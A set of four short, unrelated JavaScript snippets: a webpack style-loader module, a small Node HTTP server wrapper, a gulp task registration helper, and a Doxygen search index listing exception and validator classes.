"qeQg": /***/ (function(module, exports, __webpack_require__) { // style-loader: Adds some css to the DOM by adding a <style> tag // load the styles var content = __webpack_require__("HNrF"); if(typeof content === 'string') content = [[module.i, content, '']]; if(content.locals) module.exports = content.locals; // add the styles to the DOM var update = __webpack_require__("rjj0")("24cf8c0a", content, true); /***/ }) });
"use strict"; var http = require("http") exports.createImpl = function (requestListener) { return function () { return http.createServer(function (request, response) { requestListener(request)(response)() }) } }
var gulp = require('gulp'); module.exports = function (tasks) { tasks.forEach(function (name) { gulp.task(name, require('./Scripts/gulp/tasks/' + name)); }); return gulp; };
var searchData= [ ['icustomoperation_0',['ICustomOperation',['../interface_i_custom_operation.html',1,'']]], ['inputvalidatorunittest_1',['InputValidatorUnitTest',['../class_input_validator_unit_test.html',1,'']]], ['invalidexpressionexception_2',['InvalidExpressionException',['../class_invalid_expression_exception.html',1,'']]], ['invalidinputexception_3',['InvalidInputException',['../class_invalid_input_exception.html',1,'']]], ['invalidtokenexception_4',['InvalidTokenException',['../class_invalid_token_exception.html',1,'']]], ['invalidtriangleexception_5',['InvalidTriangleException',['../class_invalid_triangle_exception.html',1,'']]] ];